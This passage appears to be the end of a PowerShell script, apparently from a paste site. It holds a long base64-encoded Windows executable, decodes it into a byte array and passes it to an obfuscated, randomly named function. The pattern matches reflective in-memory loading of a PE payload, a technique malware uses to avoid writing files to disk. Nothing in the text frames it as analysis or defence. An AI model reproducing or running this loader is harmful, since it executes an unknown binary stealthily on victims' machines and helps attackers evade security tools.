AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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"
  2761. [Byte[]]$PEBytes = [Byte[]][Convert]::FromBase64String($PEBytes32)
  2762. Invoke-LUYPYBUTYKKOXUQ -PEBytes $PEBytes
  2763.  
  2764. }
  2765.